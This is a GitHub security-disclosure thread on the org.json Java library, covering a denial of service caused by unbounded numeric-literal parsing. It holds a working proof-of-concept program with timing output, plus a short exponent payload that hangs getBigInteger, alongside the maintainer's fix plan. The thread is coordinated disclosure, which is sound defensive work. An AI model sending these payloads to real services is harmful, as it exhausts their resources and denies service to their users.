Skip to content

[security disclosure] Unbounded numeric literal parsing causes resource exhaustion (DoS) — missing number length limit #1063

Closed

Description

@waydeshi

Hi, I'd like to report a security issue in org.json that causes availability impact in applications that parse user-supplied JSON or XML.

Issue

When parsing a JSON or XML document containing a very large numeric literal (e.g. a number with tens of thousands of digits), the parser constructs a BigInteger or BigDecimal object from the raw string with no length limit. Because BigInteger construction has super-linear time complexity, a moderately sized request body can cause a server thread to block for several seconds.

This issue is present in JSONTokener.java and JSONObject.java. It affects all three primary parsing entry points: new JSONObject(String), new JSONArray(String), and XML.toJSONObject(String). No existing JSONParserConfiguration option (including withStrictMode(true)) prevents the behavior.

Affected versions: 20150729 through 20260522 (all releases since BigInteger/BigDecimal support was added).

CVSS 3.1: 5.9 Medium — AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-400, CWE-770

Note on prior CVEs:

This is distinct from CVE-2022-45688 (XML nesting depth → StackOverflow) and CVE-2023-5072 (JSON structural nesting → StackOverflow). Both of those issues involve recursive call-stack depth and were fixed by catching StackOverflowError or adding a maxNestingDepth guard. The numeric string length issue is in a different code path and has not been addressed by either fix.

Suggested fix

Add a configurable maximum numeric literal length to JSONParserConfiguration, similar to Jackson's StreamReadConstraints.withMaxNumberLength() introduced in Jackson 2.15 (April 2023) with a default of 1,000 characters. A guard inside the accumulation loop in nextSimpleValue() would prevent construction of BigInteger/BigDecimal from excessively long strings.

Full security advisory available upon request via private channel.

Activity

  1. stleary commented on Jun 18, 2026

    @stleary
    Owner

    @waydeshi Thanks for submitting this issue, looks like a valid concern. If you have code to recreate the bug, please post it here.

  2. waydeshi commented on Jun 18, 2026

    @waydeshi
    Author

    @stleary below is the PoC code.

    POC Code

    import org.json.*;
    
    public class Poc2NumericDoSv2 {
        public static void main(String[] args) {
            System.out.println("=== CVE PoC: JSONTokener Unbounded Numeric String DoS ===");
    
            // Scaling: timing at different digit counts
            System.out.println("\n-- Unquoted numeric literal (JSONObject) --");
            int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000};
            for (int numLen : sizes) {
                String payload = "{\"x\":" + "9".repeat(numLen) + "}";
                long start = System.currentTimeMillis();
                JSONObject jo = new JSONObject(payload);
                long elapsed = System.currentTimeMillis() - start;
                System.out.printf("  %,7d digits (~%3d KB): %,5d ms  type=%s%n",
                    numLen, payload.length()/1024, elapsed, jo.get("x").getClass().getSimpleName());
            }
    
            // All affected entry points
            System.out.println("\n-- All affected entry points (100K digits) --");
            String p = "9".repeat(100_000);
            long t;
            t = System.currentTimeMillis(); new JSONObject("{\"n\":" + p + "}");
            System.out.println("  new JSONObject(String):     " + (System.currentTimeMillis()-t) + " ms");
            t = System.currentTimeMillis(); new JSONArray("[" + p + "]");
            System.out.println("  new JSONArray(String):      " + (System.currentTimeMillis()-t) + " ms");
            t = System.currentTimeMillis(); XML.toJSONObject("<r>" + p + "</r>");
            System.out.println("  XML.toJSONObject(String):   " + (System.currentTimeMillis()-t) + " ms");
    
            // No configuration option prevents the DoS
            System.out.println("\n-- Configuration bypass attempts (100K digits) --");
            String payload100k = "{\"n\":" + p + "}";
            t = System.currentTimeMillis();
            new JSONObject(payload100k, new JSONParserConfiguration().withStrictMode(true));
            System.out.println("  withStrictMode(true):       " + (System.currentTimeMillis()-t) + " ms  [no protection]");
            t = System.currentTimeMillis();
            new JSONObject(payload100k, new JSONParserConfiguration().withKeepStrings(true));
            System.out.println("  withKeepStrings(true):      " + (System.currentTimeMillis()-t) + " ms  [no protection]");
    
            System.out.println("\nRESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.");
        }
    }

    Actual Execution Output (Reproduced Against json-20260522.jar)

    Executions:

    javac -cp json-20260522.jar Poc2NumericDoSv2.java
    java -cp .:json-20260522.jar Poc2NumericDoSv2

    === CVE PoC: JSONTokener Unbounded Numeric String DoS ===
    
    -- Unquoted numeric literal (JSONObject) --
       10,000 digits (~  9 KB):    17 ms  type=BigInteger
      100,000 digits (~ 97 KB):   123 ms  type=BigInteger
      200,000 digits (~195 KB):   479 ms  type=BigInteger
      500,000 digits (~488 KB): 2,975 ms  type=BigInteger
      1,000,000 digits (~976 KB): 11,909 ms  type=BigInteger
    
    -- All affected entry points (100K digits) --
      new JSONObject(String):     121 ms
      new JSONArray(String):      120 ms
      XML.toJSONObject(String):   123 ms
    
    -- Configuration bypass attempts (100K digits) --
      withStrictMode(true):       121 ms  [no protection]
      withKeepStrings(true):      124 ms  [no protection]
    
    RESULT: [CONFIRMED VULNERABLE] No length guard exists in parsing chain.
    

    Key observations:

    • All three primary entry points (JSONObject, JSONArray, XML.toJSONObject) are equally affected
    • Neither withStrictMode(true) nor withKeepStrings(true) reduces the delay
    • A 488 KB payload produces a ~3 second thread blockage
    • Scaling is super-linear: doubling digits from 500K to 1M increases parse time approximately 4× (consistent with O(n^1.585))
  3. waydeshi commented on Jun 19, 2026

    @waydeshi
    Author

    Hi @stleary have u got a chance to look into above PoC code and try?
    Thx.

  4. stleary commented on Jun 19, 2026

    @stleary
    Owner

    have u got a chance to look into above PoC code and try? Thx.

    Yes, the problem has been recreated and confirmed. Also found a related issue where using scientific notation for very large numbers results in an uncaught NumberFormatException. Timeframe to fix both issues is about 2 weeks. Feel free to go ahead and create a CVE, if you wish.

  5. waydeshi commented on Jun 20, 2026

    @waydeshi
    Author

    have u got a chance to look into above PoC code and try? Thx.

    Yes, the problem has been recreated and confirmed. Also found a related issue where using scientific notation for very large numbers results in an uncaught NumberFormatException. Timeframe to fix both issues is about 2 weeks. Feel free to go ahead and create a CVE, if you wish.

    Thank you for the confirmation. I will apply to reserve a CVE ID.
    BTW, would you consider enabling the Security Advisory feature within this repo?

  6. stleary commented on Jun 20, 2026

    @stleary
    Owner

    Good idea, done.

  7. waydeshi commented on Jun 20, 2026

    @waydeshi
    Author

    @stleary Thanks for the quick actions. I have raised a security advisory for this issue with all the details on my hand.
    Please review and check there, modify it if you have any other suggestions about fix, etc.

    After you patched this issue with a new release version, we could add it as the Patched versions within that security advisory and then publish it.
    Finally Github Dependabot will automatically notify users who depend on JSON-java about this security advisory.

  8. stleary commented on Jun 21, 2026

    @stleary
    Owner

    Investigation notes:

    • Too-large exponential form (ex 1e999999999999) in a JSONObject or JSONArray:
      NumberFormatException is thrown from static method JSONObject.getNumber()
      Caught by static method JSONObject.stringToNumber()
      Returned as an unconverted String.
      This behavior goes back at least to 20210307. No changes planned at this time.

    • Too-long exponential form string is handled the same way, by returning the unconverted String.

    • Too-long non-negative natural number
      Time-consuming call to new BigInteger() in static method JSONObject.stringToNumber()

    • Too-long decimal or negative natural number:
      Time-consuming call to new BigDecimal() in static method JSONObject.getNumber()

    The default and max number length properties will be stored in the base class ParserConfiguration.
    For now, this implementation will have a 1000-char fixed limit for parsing big numbers.

    Max scientific notation conversions will have fixed max exponent value of +/-Math.pow(2, 32) i.e. about 2 billion.
    Max digits in coefficient TBD

    Invalid numeric values will be converted to String instead of throwing an exception, since this behavior is already in place for too-large exponential form. The JSONArray and XML parsers will have the same behavior. Note that the concern is for parsing text to JSON, not for retrieving values from a JSONObject or JSONArray.

    The methods objectToBigInteger(), objectToBigDecimal(), stringToValue(), stringToNumber(), isDecimalNotation(), checkForInvalidNumberFormat() and getNumber() will be moved to a new class JSONUtil, since these static methods are called directly or indirectly by JSONObject, JSONArray, XML, and JSONML. The new methods will be marked protected, so that they cannot be called from user code. Config objects will be passed to stringToValue() when possible. When the method to be moved is public in an existing class, it will be marked as @deprecated instead of being deleted, and the code will be changed to use JSONUtil. Internal references to the public methods will be refactored to call JSONUtil instead.

    No attempt will be made to check numbers which have already been added to a JSONObject or JSONArray (e.g. for getNumber() or optNumber())

    See #1066 For additional future work.

  9. mechko commented on Jul 13, 2026

    @mechko
    Contributor

    Hi @stleary,

    PR #1065 (ab92bb9) addresses the long-digit-string case described in
    this issue, but there is a second path to the same CWE-770 that the
    string.length() <= 1000 guard does not cover, so I don't think
    CVE-2026-59171 is fully closed yet.

    Remaining vector: short exponent literal + getBigInteger / optBigInteger

    The length guard bounds the literal, not the magnitude. An
    11-character literal like 1e100000000 passes the guard and is stored
    cheaply as a BigDecimal (unscaled=1, scale=-100000000). The
    expensive step happens later, when application code calls
    getBigInteger / optBigInteger:

    • JSONObject.objectToBigInteger, src/main/java/org/json/JSONObject.java:1402
      → ((BigDecimal) val).toBigInteger()
    • same method, line 1425 (String path)
      → new BigDecimal(valStr).toBigInteger()

    toBigInteger() then materialises a ~100 000 000-digit integer
    (~40 MB, tens of seconds of CPU, or OutOfMemoryError). Reachable from
    JSONObject.getBigInteger/optBigInteger and
    JSONArray.getBigInteger/optBigInteger.

    Repro at current master (1efb5f6, includes ab92bb9):

    JSONObject jo = new JSONObject("{\"x\":1e100000000}"); // 17 bytes, parses instantly
    jo.getBigInteger("x");                                 // hangs here
    $ timeout 30 java -Xmx512m -cp target/classes:. Repro ; echo EXIT=$?
    parsed: java.math.BigDecimal
    EXIT=124          # killed after 30 s
    

    Proposed fix — extend the same 1000-digit ceiling to the accessor
    path, which is also the second half of the Jackson StreamReadConstraints
    approach referenced above (maxBigIntegerScale):

    if (val instanceof BigDecimal) {
        BigDecimal bd = (BigDecimal) val;
        if ((long) bd.precision() - bd.scale() > 1000L) {
            return defaultValue;
        }
        return bd.toBigInteger();
    }

    (precision()/scale() are O(1); same guard needed at line 1425.)

    Happy to open a PR against this issue with the above plus a unit test
    if that's the preferred workflow — let me know if you'd rather track
    this as a separate issue.

  10. stleary commented on Jul 13, 2026

    @stleary
    Owner

    @mechko Thanks, good catch, this is a valid related issue. You can open a PR, but there is a time and code contraint. All work should be completed before next Monday, and your code should be based on the max-number-length-config branch. If that works for you, feel free to open a PR.

  11. mechko commented on Jul 14, 2026

    @mechko
    Contributor

    @stleary Opened #1067 against max-number-length-config with the objectToBigInteger guard + unit test as discussed above.

  12. added 2 commits that reference this issue on Jul 14, 2026
  13. added 2 commits that reference this issue on Jul 16, 2026
  14. stleary commented on Aug 27, 2026

    @stleary
    Owner

    Closing due to issue fixed in #1067

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions